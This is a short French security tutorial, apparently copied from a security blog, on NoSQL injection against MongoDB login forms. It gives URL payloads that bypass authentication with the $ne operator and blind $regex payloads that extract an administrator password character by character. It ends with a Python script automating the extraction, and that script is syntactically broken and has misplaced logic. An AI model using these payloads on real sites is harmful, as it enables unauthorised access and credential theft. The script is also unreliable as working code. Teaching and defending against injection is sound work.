L'Injection NOSQL

Les bases de données NOSQL ont été créées pour répondre aux problèmes de latence des SGBD relationnelles sur de grosses bases.

On peut en citer plusieurs telles que:

- DynamoDB

- MongoDB

- Oracle NoSQL

Néanmoins, l’apparition de ce nouveau moyen de stockage a fait émerger un type de faille innovant: La NOSQL injection.

Pour les NOSQL injections, la porte d’entrée passe par la création d’un tableau pour faire la requête, pour vous expliquer voici comment ça se passe  avec MongoDB:

$qry = array("user"= $username,password = $userpassword);

Exploitation:

Selon la documentation MongoDB sur les opérateurs de requête “$ne” correspond à  “Différent de”.

Nous allons envoyer comme paramètre dans l'url :

http://monsitefaillible.com/index.php?username[$ne]=isileaks&userpassword[$ne]=lool

Ce qui traduit en « Pseudo SQL » donne: « WHERE user!=isileaks and password!=lool ».

Par défaut nous serons connecté en tant qu'administrateur.

REGEX NOSQL:

Pour trouver le mot de passe administrateur nous utiliserons la fonction regex avec la méthode blind.

Sous MongoDB le “.” représente n'importe quel caractère.

username[$ne]=isileaks&userpassword[$regex]=.{1}

Dans notre exemple nous cherchons à savoir si le mot de passe administrateur fait 1 caractère.

Nous allons incrémenter le chiffre entre accolade jusqu'à ce que le “vous êtes connecté en tant qu'admin” disparaisse.

On obtient:

username[$ne]=isileaks&userpassword[$regex]=.{5}

Le mot de passe fait donc 5 caractères. Nous allons faire de même pour trouver les lettres.

username[$ne]=isileaks&userpassword[$regex]=p.{4}

username[$ne]=isileaks&userpassword[$regex]=pa.{3}

username[$ne]=isileaks&userpassword[$regex]=pas.{2}

username[$ne]=isileaks&userpassword[$regex]=pass.{1}

username[$ne]=isileaks&userpassword[$regex]=passw

Le mot de passe est passw.

Un petit script python pour automatiser tout cela.

#!/usr/bin/env python2
# -*- coding: utf8 -*-
import requests
page = "http://localhost/NOSQL/"
taille=0
while 1:
     forge=".{"+str(taille)+"};"
     req={"usr_name[$ne]":"hacker"&"usr_password[$regex]":forge}
     resultat=requests.post(page,data=req).content
     print(req)
     if resultat.find("Bienvenue")==-1 :
          break
     taille+=1
     taille-=1
     print("[+] Le password fait "+str(taille)+ caracteres")
     passwd=""
char=48
length=0
while length!=taille:
     forge=passwd+str(chr(char))+".{"+str(taille-len(passwd)-1)+"};"
     req={"usr_name[$ne]":"hacker"&"usr_password[$regex]":forge}
     resultat=requests.post(page,data=req).content
     print(req)
     if resultat.find("Bienvenue")!=-1 :
          passwd+=str(chr(char))
          char=48
          length+=1
          print(passwd)
     if char==90:
          char=96
     if char==57:
          char=64
     char+=1
print("[+] Le password est: "+str(passwd))

source : https://www.dailysecurity.fr/nosql-injections-classique-blind/